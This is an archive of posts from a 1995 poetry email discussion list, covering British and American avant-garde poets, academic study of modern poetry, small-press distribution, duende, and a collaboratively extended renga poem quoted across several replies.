I am not an academic so I'm not the person to suggest to you how to go about these things, but hopefully you'll find some of the above helpful. Please feel free to ask me anything though and I'll do my best to help. As you may know, I was co-editor of The New British Poetry, along with Eric Mottram who sadly is no longer with us - he would've been the best person to help you but died suddenly last February.

All the best,

Ken Edwards

↑ Index

127. Edward Foster
talisman
Tue 5 Sep 1995

---

we're not ever where we were: it's now talisman house at
p.o. box 3157
jersey city, nj 07303-3157
offices/stock room (UPS only) at
129 wayne st.
jersey city, nj 07302
phone: [redacted]

↑ Index

128. Gale Nelson
Re: Jabes
Tue 5 Sep 1995

For contemporary French literature, please consider Avec # 4 and Serie d'ecriture (magazine issues are # 3, # 4, # 7). Also Tyuonyi 9/10: Violence of the White Page.

All should be available from Small Press Distribution, 1814 San Pablo Ave, Berkeley CA 94702.

↑ Index

129. Gale Nelson
Re: Studying in England
Tue 5 Sep 1995

Legend has it that when Dallas Wiebe wanted to do his dissertation on Ezra Pound, he was told by the department that he couldn't for the same reason as George Bowering was told he couldn't study Bunting. Wiebe, so the story goes, then suggested Wyndham Lewis as subject for his dissertation. Reports tell us that the faculty involved were unsure whether or not Lewis was alive; as they didn't want to admit this, they approved the dissertation plan.

Wiebe was doing his graduate work at U of Michigan.

Cheers,

Gale Nelson

↑ Index

130. Jorge Guitart
Re: remg.reng.reng.reng
Tue 5 Sep 1995

On Mon, 4 Sep 1995, Thomas Bell wrote:

> Jordan Davis writes
>
> > > In the books were dreams and in the dreams were books.>
> > > And flew through windows, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Mollycoddled than aware, thin-spined and pebbling
> > > but narrow in the waist or waspish Sunday years ago
> > > Over coffee topped with whipped lads, the Times blowing
> > > & opining, heavy humid air, cumulus amusing against the
> > > bleached ribcage ripcorded into compassed wind
> > > kissing the weatherwoman between her beasts as she
> > > gives gracious problem: fanatical snacks, landscape of
> > > flicka my best friend and the storm in the glass of water's
> > > halfway pertinent incision we keep making safe for ignorance
> > > (inspection
> > > denied for not knowing how credenza was meant) & neo-colonizing
> > > pockets in small furniture intended house sequentially several

> > > mountains away but it wasn't, you know, a big tango
> > > when the attorney general came, selah hales said, "Dias, oh,ho,
> > > kook!"
> > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > warehouse, curls
> > > no ideas but the woven fabric the texture so to speak was at the
> > > dry cleaners
> > > piping hot and gloved-in somewhere unsalted, perched on
> > > prescience
> > > the chair is sad, alas, and i've lusted tootles' livers
> > > the odor day toy a cello day dis chevys a bo coo daughter chose
> > > encore
> > > Flaubert because we're waiting all throughout eternity for
> > > moments to be
> > > of such suchness. In the nooks were creams and in the streams
> > > were hooks.
> > > All melded like striated film leftover in the pastel seeds of
> > > darkness
> > > falling like a counterirritant around the manchineel. Likewise
> > > sandpaper juxtaposed with seasoned instruments and recently soft
> > > fruit
> > > of subject's object status, violent transformation
> > > la Ste. Therese into beaming cumulus apokoinu switchback
> > > and in the u-turns were bookmobiles rounding angles considered
> > > shrill as pine left in the acres to be aging
> > > flawlessly, flutes sing genderless in trio, surprised
> > > by how quiet effort really is or is not, fast enough to sleep
> > > through thunderstorms, arm over thigh until light shakes
> > > petals free of names that rain across known skin forgotten
> > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > and dance, composing instead of straining muscles, far eyes
> > > saunter lope pentecost beam operator will you cockpit
> > > out, transplanted organs speak, the idiom
> > > inseams, a snare as solvently unequal-- the power
> > > uncreased although each snare still trembles quantum
> > > which explains why the pump is busted and why
> > > he preferred whole afternoons on the phone to that
> > > crap about not having a cousin on the moon
> > > capable of keeping the canoe right way up in the cool
> > > prose of the upper Hudson, dinner's at seven so
> > > start swimmin, bud: "lay me down in a wetsuit,
> > > heats me up in the sleaze," it's like a huge dose

> > of familiarity. I am storing radiance for later use
> > > among the invoices and the difference engines
> > Char, Lee, Parr, Kerr, everybody is here and there
> >collecting the stamp hinges that come in on the breeze
> delicate lace flies into pelican Bills in the house
of narration with partners of good moisture. Here, touch my

↑ Index

131. Gale Nelson
Re: Fate
Tue 5 Sep 1995

Those with an interest in French poetry may be interested in Serie d'ecriture, a journal of French poetry in English translations. It is edited by Rosmarie Waldrop. Issues are available through Small Press Distribution, 1814 San Pablo Ave, Berkeley CA 94702.

Gale Nelson

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132. Tony Green
Re: UK-CALL
Tue 5 Sep 1995

talking of sharp knives small pies, Keith, you shd see what a small pie does to anything post 1910 ish in New Zealand. Alan Loney is a still a whipping boy and he's going grey.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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133. Kit Robinson
UK-CALL
Tue 5 Sep 1995

Reply to: UK-CALL
Cristina Brown,

Re: your research on British poets, you might be interested in two essays I wrote for the Dictionary of Literary Biography: British Poets Since 1945 (Bruccoli-Clark), one on Anselm Hollo and one on Tom Raworth. They would be available in the Brown library, I should think.

Kit Robinson
[redacted]

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134. Kit Robinson
Russian poetry
Tue 5 Sep 1995

Reply to: Russian poetry
Chris Reiner,

Re: your interest in contemporary Russian poetry, Alef Books in New York will soon publish my translation of Ilya Kutik's Ode: On Visiting the Belosaraisk Spit on the Sea of Azov.

Kit Robinson
[redacted]

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135. George Bowering
Re: remg.reng.reng.reng
Tue 5 Sep 1995

Someone writes
>
> > > In the books were dreams and in the dreams were books.>
> > > And flew through windows, lightning green and fine morning
> > > First inverted whistle of a bishop in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Mollycoddled than aware, thin-spined and pebbling
> > > but narrow in the waist or waspish Sunday years ago
> > > Over coffee topped with whipped lads, the Times blowing
> > > & opining, heavy humid air, cumulus amusing against the
> > > bleached ribcage ripcorded into compassed mind
> > > kissing the weatherwoman between her beasts as she

> > > gives gracious problem: fanatical snacks, landscape of
> > > flicka my best friend and the storm in the glass of water's
> > > halfway pertinent incision we keep making safe for ignorance
> > > (inspection
> > > denied for not knowing how credenza was meant) & neo-colonizing
> > > pockets in small furniture intended house sequentially several
> > > mountains away but it wasn't, you know, a big tango
> > > when the attorney general came, selah hales said, "Dias, oh,ho,
> > > kook!"
> > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > warehouse, churls
> > > no ideas but the woven fabric the texture so to speak was at the
> > > dry cleaners
> > > piping hot and gloved-in somewhere unsalted, perched on prescience
> > > the chair is sad, alas, and i've lusted tootles' livers
> > > the odor day toy a cello day dis chevys a bo coo daughter chose
> > > encore
> > > Flaubert because we're waiting all throughout eternity for
> > > moments
> > > of such suchness. In the nooks were creams and in the streams
> > > were hooks.
> > > All melted like striated film leftover in the pastel seeds of
> > > darkness
> > > falling like a counterirritant around the manchineel. Likewise
> > > sandpaper juxtaposed with seasoned instruments and recently soft
> > > fruit
> > > of subject's object status, violent transformation
> > > la Ste. Therese into beaming cumulus apokoinu switchback
> > > and in the u-turns were bookmobiles rounding angles considered
> > > shrill as pine left in the acres to be aging
> > > flawlessly, flutes sing genderless in trio, surprised
> > > by how quiet effort really is or is not, fast enough to sleep
> > > through thunderstorms, arm over thigh until light shakes
> > > petals free of names that rain across known skin forgotten
> > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > and dance, composing instead of straining muscles, far eyes
> > > saunter lope pentecost beam operator will you cockpit
> > > out, transplanted organs speak, the idiom
> > > inseams, a snare as solvently unequal-- the power
> > > uncreased although each snare still trembles quantum:
> > > there is no visible sky on its own (in this nature)
> > > which explains why the pump is busted and why

> > > he preferred whole afternoons on the phone to that
> > > crap about not having a cousin on the moon
> > > capable of keeping the canoe right way up in the cool
> > > prose of the upper Hudson, dinner's at seven so
> > > start swimmin, bud: "lay me down in a wetsuit,
> > > heats me up in the sleaze," it's like a huge dose
> > of familiarity. I am storing radiance for later use
> > > among the invoices and the difference engines
> > > Char, Lee, Parr, Kerr, everybody is here and there
> > > collecting the stamp hinges that come in on the breeze
> > > delicate lace flies into pelican Bills in the house
> > > , while the door gave way when his fist fell upon it--
>

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136. Stephen Galen Cope

Re: duende

Tue 5 Sep 1995

Check out Nate Mackey's lecture/ essay on duende (among other things) entitled "Cante Moro," and published in Naropa Institute's "Disembodied Poetics" collection. Excellent piece w/ a discography to boot...

-Stephen Cope

↑ Index

137. Jordan Davis.

boredom is a genteel way to take offense

Tue 5 Sep 1995

Ron

Who was it who found Williams boring? I hear that from a lot of people, and I'd like to start collecting reasons why Williams is boring.

Jordan

PS If it was Ed Foster, Ed, does being in New Jersey have anything to do with it?

Post Post E-Stamp My mom gave me her copy of On the Road, said it was boring, her bookmark on the page where they talk about sex in jail...

↑ Index

138. George Bowering
Re: Poets, Nations,
Tue 5 Sep 1995

An aside to Ron's mentioning of poets who write in languages of fewer than 100 million people. It gets more difficult: think of Hungarian writers and Finnish writers. But there is another problem too, for writers who write in French in Quebec or Tahiti, or writers who write in English in Canada or new Zealand. In Canada the few readers there are are likely to be reading US writers rather than Canadian ones because of the US imperialist control of Canadian distribution. Concerning your question, Ron, about Califormia being a national literature. What if it were all in Spanish?

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139. Tony Green
(Fwd) Re: UK-CALL
Tue 5 Sep 1995

This post would not go through to [redacted] something
wrong with address (I can't think what) so list-members please excuse
this back-channel going front-channel
------- Forwarded Message Follows -------
From: Self <CCNOV2/AHI_TGREEN>
To: [redacted]
Subject: Re: UK-CALL
Date: Wed, 6 Sep 1995 13:32:25

I've been following the conversation about Eng writers and Universities. It's good to know something is happening with Bunting and the "cambridge"poets, Mottram etc. It always seemed strange that way back in the fifties there was a total silence abt U.S. poets and poetics in Britain (as far as I cd tell). It was not till I got to New Zealand that I found out what was missing from my education (at Cambridge). It was Creeley's writing that sent me hunting for Bunting's books in London in 1977 (damned if I cd see much. "Who?" they said in places like Hatchards). Good luck & cheers

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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140. Kenneth Goldsmith
Hard Press/Lingo New URL/Lingo 4 Online
Tue 5 Sep 1995

Hard Press and Lingo: A Journal Of The Arts has a new URL:

http://hardpress.com

Please make a note of it as the old URL will soon disappear.

The entire text of Lingo 4 is available on the website.
Here's what's there:

LINGO 4

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John Godfrey Odds Lent Bare
Judy Fiskin Two Photogrpahs
*Keith & Rosemarie Waldrop Interview with Claude Royet-Journoud

*will be up shortly

Coming Soon On The Website: Lingo 3

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141. Rod Smith

Re: boredom is a genteel way to take offense

Wed 6 Sep 1995

Re Williams & "boring": I was in a "workshop" back when I was young in which the "teacher" (an award-winning poet w/ major trade publications) read us, what else, The Red Wheelborrow & then asked the class "what is this poem about"-- he got several responses none of which were *the one* he was looking for-- after a bit of silence he sd, quite seriously, "well, obviously it's about Spring."

--Rod

↑ Index

142. Pierre Joris
Re: Poets, Nations,
Wed 6 Sep 1995

Ron -- re small nations: you should come along next time I travel back to my own tribe, the Grand-Ducal nation of Luxembourg, with only 370000 bona-fide members & I'll take you to one of our writer's union meetings -- about 65 members strong right now, writing in several different languages -- Letzeburgesch, French, German, Portuguese, Italian & one or two even in English -- it's strangely exhilerating to note that books of poetry by eithewr of the two small presses over there are printed in editions of 1000 copies -- which is about the same as small to medium presses over here do.

==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

↑ Index

143. R I Caddel
UK Resources etc
Wed 6 Sep 1995

The volumes of DLB which Kit Robinson refers to (v40, 1985, two parts) are useful as a starting-place for UK poetry up to the early eighties. Because they claim to cover ALL UK poetries of that period, there are a lot of boring people in there, and a lot of interesting ones left out (presumably a lot of boring people left out, for that matter...). The interesting inclusions include: Hollo and Raworth (as noted), Prynne, Roy Fisher, Gael Turnbull, Tom Pickard, John Riley, and a really spiffy one on Lee Harwood by me. There's also a little press round up, which leaves out much (including Fulcrum and Trigram), but includes Ferry, Grosseteste, Migrant, Goliard, Writer's Forum and Pig Press!

One hopes that one day Bruccoli-Clark will do a follow-up volume. But spare a thought for those wandering souls who fail the country-of-origin test of these strictly controlled formats: for instance, where would Pierre Joris appear?

Answers on a postcard... (Pierre: would you like to say what volume you'd like to appear in, and who you'd choose for company?)

Keith, it's far better to put me on the spot about "Czargrad", I tried to write about it years ago and failed (the bits I did write about John Riley are referenced in DLB40). Besides, I'm sure you recognised my blurb-writer's mode in any claims I made for it. Read it: It's a sustained piece of musicality, written at a time when Riley had assimilated the bits of "open field" which he wanted, (and rejected the bits he didn't want) and was revelling in life in general. It relates to his conversion to Russian Orthodoxy, but it's not an evangelical tract - Riley's "Holy City" is more closely related to the down-to-earth suburb of Leeds where he lived, tho it's infused with little bits of European history. And light - there's light everywhere in Riley's poems.

One of the accusations made against the Cambridge poets (generally, rather than specifically) is that they're icily "intellectual" ("intellectual" is a term of abuse in UK). Nobody could ever accuse John Riley of being icy.

Well, you did ask... x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting x x x

↑ Index

144. Jorge Guitart

Re: rengazo

Wed 6 Sep 1995

Someone `special' "writes"
> >
> > > > In the books were dreams and in the dreams were books.>
> > > > And flew through windows, lightning green and fine morning
> > > > First inverted whistle of a bishop in the poplar
> > > > The book and the oboe on the grass under sun and cloud
> > > > Go endlessly, an obtuse Prussian blue, it binds
> > > > The caravan of windows to what they flee
> > > > These lace curtains, more gauze than bondage, more
> > > > Mollycoddled than aware, thin-spined and pebbling
> > > > but narrow in the waist or waspish Sunday years ago
> > > > Over coffee topped with whipped lads, the Times blowing
> > > > & opining, heavy humid air, cumulus amusing against the
> > > > bleached ribcage ripcorded into compassed mind

> > > > kissing the weatherwoman between her beasts as she
> > > > gives gracious problem: fanatical snacks, landscape of
> > > > flicka my best friend and the storm in the glass of water's
> > > > halfway pertinent incision we keep making safe for ignorance
> > > > (inspection
> > > > denied for not knowing how credenza was meant) & neo-colonizing
> > > > pockets in small furniture intended house sequentially several
> > > > mountains away but it wasn't, you know, a big tango
> > > > when the attorney general came, selah hales said, "Dias, oh,ho,
> > > > kook!"
> > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > > warehouse, churls
> > > > no ideas but the woven fabric the texture so to speak was at the
> > > > dry cleaners
> > > > piping hot and gloved-in somewhere unsalted, perched on prescience
> > > > the chair is sad, alas, and i've lusted tootles' livers
> > > > the odor day toy a cello day dis chevys a bo coo daughter chose
> > > > encore
> > > > Flaubert because we're waiting all throughout eternity for
> > > > moments
> > > > of such suchness. In the nooks were creams and in the streams
> > > > were hooks.
> > > > All melted like striated film leftover in the pastel seeds of
> > > > darkness
> > > > falling like a counterirritant around the manchineel. Likewise
> > > > sandpaper juxtaposed with seasoned instruments and recently soft
> > > > fruit
> > > > of subject's object status, violent transformation
> > > > la Ste. Therese into beaming cumulus apokoinu switchback
> > > > and in the u-turns were bookmobiles rounding angles considered
> > > > shrill as pine left in the acres to be aging
> > > > flawlessly, flutes sing genderless in trio, surprised
> > > > by how quiet effort really is or is not, fast enough to sleep
> > > > through thunderstorms, arm over thigh until light shakes
> > > > petals free of names that rain across known skin forgotten
> > > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > > and dance, composing instead of straining muscles, far eyes
> > > > saunter lope pentecost beam operator will you cockpit
> > > > out, transplanted organs speak, the idiom
> > > > inseams, a snare as solvently unequal-- the power
> > > > uncreased although each snare still trembles quantum:
> > > > there is no visible sky on its own (in this nature)

> > > > which explains why the pump is busted and why
> > > > he preferred whole afternoons on the phone to that
> > > > crap about not having a cousin on the moon
> > > > capable of keeping the canoe right way up in the cool
> > > > prose of the upper Hudson, dinner's at seven so
> > > > start swimmin, bud: "lay me down in a wetsuit,
> > > > heats me up in the sleaze," it's like a huge dose
> > > of familiarity. I am storing radiance for later use
> > > > among the invoices and the difference engines
> > > > Char, Lee, Parr, Kerr, everybody is here and there
> > > > collecting the stamp hinges that come in on the breeze
> > > > delicate lace flies into pelican Bills in the house
> > > > , while the door gave way when his fist fell upon it--
& the brutal reminder,"We speak lifelike in this house"

↑ Index

145. Mark Wallace
trying to find Jordan Davis
Wed 6 Sep 1995

Jordan:

Will you please contact me back channel ASAP? The e-mail address I have for you turns out not to be the right one.

Sorry to burden everyone else with this.

mark wallace

↑ Index

146. Aldon L. Nielsen
Re: now and duende
Wed 6 Sep 1995

---

tom -- this is not the source you're trying to remember -- but look at Bob Kaufman's poetry for a direct link between Duende and blues -- not an assertion that it's the _same_ phenomenon (I don't see how it could be) -- but a crucial link -- also in the Steve Jonas book that Ed Foster published a bit over a year ago -- and Jayne Cortez ,,,, and so on

↑ Index

147. Aldon L. Nielsen
Re: your american cousin
Wed 6 Sep 1995

Ken -- who was it remarked that Britain and America are peoples divided by a common language?

The real problem I see is the simple one of distribution -- _most_ of the poets mentioned recently, even those of the Cambridge "school" -- are not easily found in US book stores -- (Hell, for years you couldn't even buy a copy of Wilson Harris here, and he's published by Faber!) --

When I do spot an interesting British poet in a mag. or an anthology (or hear about one in a Tuma talk somewhere) -- then I can start working the phones to turn up a copy -- but it ain't easy -- even the Caracnet titles I've gotten over the years have all been found in obscure used book stores -- though I would hope none of what I just said is true in NY --

↑ Index

148. Edward Foster
Re: boredom is a genteel way to take offense
Wed 6 Sep 1995

why is williams boring, jordan? aside from the fact that so much he did had been done by others better, it has, i think, much to do with the fact that he believed in evidence, like answers to a question. in yr mom's terms, yes, nj is boring.

↑ Index

149. Joe Amato
rejection rejection...
Wed 6 Sep 1995

thought many of you might enjoy the following... it's a bit macademically centered, but it's witty as hell... i've stripped off most of the absurdly long mail header...

best,

joe (amato)

> *---------- Forwarded message ----------*
> *Date: Tue, 15 Aug 1995 08:00:06 -0400*
> *From:* [redacted]
> *To:* [redacted]

Subject: Fwd: a rejection letter

Thought you would enjoy this.
Catherine

Forwarded message:
From: [redacted] (Dan Garrett)
To: [redacted] (Dan Garrett)
Date: 95-08-12 20:13:38 EDT

Liz Boyle handed me a photocopied version of this:

March 21, 1988

Herbert A. Millington
Chair - Search Committee
412A Clarkson Hall
Whitson University
College Hill, MA 34109

Dear Professor Millington,

Thank you for your letter of March 16. After careful consideration, I regret to inform you that I am unable to accept your refusal to offer me an assistant professor position in your department.

This year I have been particularly fortunate in receiving an unusually large number of rejection letters. With such a varied and promising field of candidates it is impossible for me to accept all refusals.

Despite Whitson's outstanding qualifications and previous experience in rejecting applicants, I find that your rejection does not meet my needs at this time. Therefore, I will assume the position of assistant professor in your department this August. I look forward to seeing you then.

Best of luck in rejecting future applicants.

Sincerely,

Chris L. Jensen

> --
> *Dan Garrett* *Stanford Economics* [redacted]

↑ Index

150. **eric pape**
Re: Jabes
Wed 6 Sep 1995

Pierre:I think Jeff Humphries is working on a translation of _A Field of Islands_, but I don't know when and if it is coming out. I know you can read an excerpt (those of you who are EnglishOnly) on the LSU campus gopher under Body_L: literature electric and new. Great stuff, incidentally. Thanks, Eric.

↑ Index

151. **George Bowering**
Re: your american cousin
Wed 6 Sep 1995

It was Oscar Wilde who made that remark abt Brits and Amerks being separated by a common language.

↑ Index

152. **Tony Green**
Re: your american cousin
Wed 6 Sep 1995

Aldon, isn't this difficulty of transatlantic interconnection largely due to book-sellers agreements on trading. American publications are pretty well invisible in Britain aren't they?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

153. Tony Green
Re: Studying in England
Wed 6 Sep 1995

In the later 1960's Art Historians in London decided that Modern Art could be taught, but not examined, because my informant (Leo Ettlinger) said nobody yet knew finally what it meant. My then colleague Ivor Davis, in Edinburgh, taught and examined Modern, and was duly persecuted for same. But survived.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

154. Tony Green
(Fwd) Re: UK-CALL
Wed 6 Sep 1995

Sorry, folks. I can't get back-channels to Durham. Machine problems of some sort.

" R I Caddel <[redacted]>
Subject: Re: UK-CALL
To: Tony Green <[redacted]> said:

.Bunting and the Cambridge Poets" - sounds like a mid-eighties art band to me... You struck it unlucky in your trip to London (but then, any trip to London is an unlucky one, in my experience): 1977 was the year before OUP reissuued Bunting's collected poems, as a cheapskate photographic copy of the long-out-of-print Fulcrum (1968) edition. It wasn't until 1994 that they actually reset Bunting, in the new "Complete Poems".

It was Bunting who introduced me to Creeley's work, as he did to Niedecker, David Jones, Zukofsky, and much else. I'd have been foolish to have tried to ask my teachers about them - in any case, if you want to know what's cooking, you always have to go to the kitchen...

best,
Richard"

Hope you don't mind this being public.

I did find a Fulcrum The Spoils in 1977. And got hold of the cheapskate reprint the next year thanks to a friend in London. What's London done to you? I still visit, tho I haven't lived there since 1957. I guess it's not yr home town. Cheers.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

155. George Bowering
Re: boredom is a genteel way to take offense
Wed 6 Sep 1995

Once my wife Angela Luoma asked her class what was happening in "The Red Wheelbarrow" and one of her bible belter students said it was all about the Communist empire and the innocent vistims.

↑ Index

156. George Bowering
Re: Two rengs dont make a write
Wed 6 Sep 1995

> *On Mon, 4 Sep 1995, Thomas Bell wrote:*
>
> *Jordan Davis writes*
>
> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her beasts as she*

> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout eternity for moments to be*
> *of such suchness. In the nooks were creams and in the streams were hooks.*
> *All melded like striated film leftover in the pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *start swimmin, bud: "lay me down in a wetsuit,*
> *heats me up in the sleaze," it's like a huge dose*

> *of familiarity. I am storing radiance for later use*
> *I know the war-whoop in each dusty narrative*
> *among the invoices and the difference engines*
> *Char, Lee, Parr, Kerr, everybody is here and there*
> *> collecting the stamp hinges that come in on the breeze*
> *delicate lace flies into pelican Bills in the house*
> *of narration with partners of good moisture. Here, touch my*
> *< ebullience with a token gesture of sauce, of the red stuff.*

↑ Index

157. Jorge Guitart

Re: Two rengs dont make a write

Wed 6 Sep 1995

On Wed, 6 Sep 1995, George Bowering wrote:

> >
> > On Mon, 4 Sep 1995, Thomas Bell wrote:
> >
> > > Jordan Davis writes
> > >
> > > > > In the books were dreams and in the dreams were books.>
> > > > > And flew through windows, lightning green and fine morning
> > > > > First inverted whistle of a cardinal in the poplar
> > > > > The book and the oboe on the grass under sun and cloud
> > > > > Go endlessly, an obtuse Prussian blue, it binds
> > > > > The caravan of windows to what they flee
> > > > > These lace curtains, more gauze than bondage, more
> > > > > Mollycoddled than aware, thin-spined and pebbling
> > > > > but narrow in the waist or waspish Sunday years ago
> > > > > Over coffee topped with whipped lads, the Times blowing
> > > > > & opining, heavy humid air, cumulus amusing against the
> > > > > bleached ribcage ripcorded into compassed wind
> > > > > kissing the weatherwoman between her beasts as she
> > > > > gives gracious problem: fanatical snacks, landscape of
> > > > > flicka my best friend and the storm in the glass of water's
> > > > > halfway pertinent incision we keep making safe for ignorance
> > > > > (inspection
> > > > > denied for not knowing how credenza was meant) & neo-colonizing
> > > > > pockets in small furniture intended house sequentially several
> > > > > mountains away but it wasn't, you know, a big tango
> > > > > when the attorney general came, selah hales said, "Dias, oh,ho,
> > > > > kook!"
> > > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco

> > > > > warehouse, curls
> > > > > no ideas but the woven fabric the texture so to speak was at the
> > > > > dry cleaners
> > > > > piping hot and gloved-in somewhere unsalted, perched on
> > > > > prescience
> > > > > the chair is sad, alas, and i've lusted tootles' livers
> > > > > the odor day toy a cello day dis chevys a bo coo daughter chose
> > > > > encore
> > > > > Flaubert because we're waiting all throughout eternity for
> > > > > moments to be
> > > > > of such suchness. In the nooks were creams and in the streams
> > > > > were hooks.
> > > > > All melded like striated film leftover in the pastel seeds of
> > > > > darkness
> > > > > falling like a counterirritant around the manchineel. Likewise
> > > > > sandpaper juxtaposed with seasoned instruments and recently soft
> > > > > fruit
> > > > > of subject's object status, violent transformation
> > > > > la Ste. Therese into beaming cumulus apokoinu switchback
> > > > > and in the u-turns were bookmobiles rounding angles considered
> > > > > shrill as pine left in the acres to be aging
> > > > > flawlessly, flutes sing genderless in trio, surprised
> > > > > by how quiet effort really is or is not, fast enough to sleep
> > > > > through thunderstorms, arm over thigh until light shakes
> > > > > petals free of names that rain across known skin forgotten
> > > > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > > > and dance, composing instead of straining muscles, far eyes
> > > > > saunter lope pentecost beam operator will you cockpit
> > > > > out, transplanted organs speak, the idiom
> > > > > inseams, a snare as solvently unequal-- the power
> > > > > uncreased although each snare still trembles quantum
> > > > > which explains why the pump is busted and why
> > > > > he preferred whole afternoons on the phone to that
> > > > > crap about not having a cousin on the moon
> > > > > capable of keeping the canoe right way up in the cool
> > > > > prose of the upper Hudson, dinner's at seven so
> > > > > start swimmin, bud: "lay me down in a wetsuit,
> > > > > heats me up in the sleaze," it's like a huge dose
> > > > of familiarity. I am storing radiance for later use
> > > > > I know the war-whoop in each dusty narrative
> > > > > among the invoices and the difference engines
> > > > > Char, Lee, Parr, Kerr, everybody is here and there

> > > > collecting the stamp hinges that come in on the breeze
> > > delicate lace flies into pelican Bills in the house
> > of narration with partners of good moisture. Here, touch my
> > > > < ebullience with a token gesture of sauce, of the red stuff.
I have a lot of duende in the freezer & we can defrost some

↑ Index

158. **Stephen Galen Cope**
duende
Wed 6 Sep 1995

There's a pop-flamenco group called Pata Negra
whose recording "Blues de la Frontera" is a musical
example of the blues/ duende link being discussed.
Incidentally, there's another group by the name of
Amalgama - a collaboration between jazz and flamenco
musicians from Spain and the Karnataka College of
Percussion, from India - whose work testifies to
the important cultural link between blues/ jazz and
gypsy cante jondo that the Indian Raga provides...

-Stephen Cope

(O, and both groups can be found on a 3-CD compilation
called "Duende: The Passion and Dazzling Virtuosity
of Flamenco," put out by Ellipses Arts (Rosalyn, NY)
last year. Not the greatest title, but a decent comp-
ilation w/ decent liner notes...

↑ Index

159. **Ryan Knighton**
Re: boredom is a genteel way to take offense
Thu 7 Sep 1995

One of my profs said Williams is one of the best children's poets, as well as one of the best.

↑ Index

160. **Ryan Knighton**
Re: boredom is a genteel way to take offense
Thu 7 Sep 1995

Red Wheelbarrow as Spring? I thought it was about being about.

↑ Index

161. cris cheek
Re: desire / and the 39 steps
Thu 7 Sep 1995

---

punches return to plums pulling branches - low. skies icing over towers of straw. distraction cut himself shaving.

trims loss. framing the letters raw, barbied his memory plain. when gloaming light drawn western isles hood adequately midged, hummocks lamented boy.

↑ Index

162. cris cheek
Re: your american cousin
Thu 7 Sep 1995

Aldon, distribution is governed by sales generated by interest. British poetry doesn't get distributed much because there's not MUCH interest. BUT we already know from previous discussions here that US small presses are having a tough time with problems of distribution as well. The reservations, for distributors, about dealing with small presses from other countries much compound what is already a reticence on their (and the poetries' audiences?) behalf.

